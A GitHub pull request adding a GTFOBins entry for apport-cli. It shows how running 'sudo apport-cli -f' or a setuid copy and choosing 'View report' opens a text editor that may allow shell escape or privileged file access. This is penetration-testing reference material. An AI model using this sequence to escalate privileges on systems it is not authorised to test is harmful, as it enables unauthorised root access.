Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added apport-cli #441

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
82 changes: 82 additions & 0 deletions _gtfobins/apport-cli.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
---
description: This can be run with elevated privileges to create a bug report, then view the report in a text editor, which may allow shell escapes and/or privileged file read/writes (Depending upon the default file editor program).
functions:
shell:
- code: |
apport-cli -f

*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1

*** Collecting problem information
<SNIP>

*** What display problem do you observe?
<SNIP>

Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>

*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V

<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
suid:
- code: |
apport-cli -f

*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1

*** Collecting problem information
<SNIP>

*** What display problem do you observe?
<SNIP>

Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>

*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V

<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
sudo:
- code: |
sudo apport-cli -f

*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1

*** Collecting problem information
<SNIP>

*** What display problem do you observe?
<SNIP>

Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>

*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V

<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
---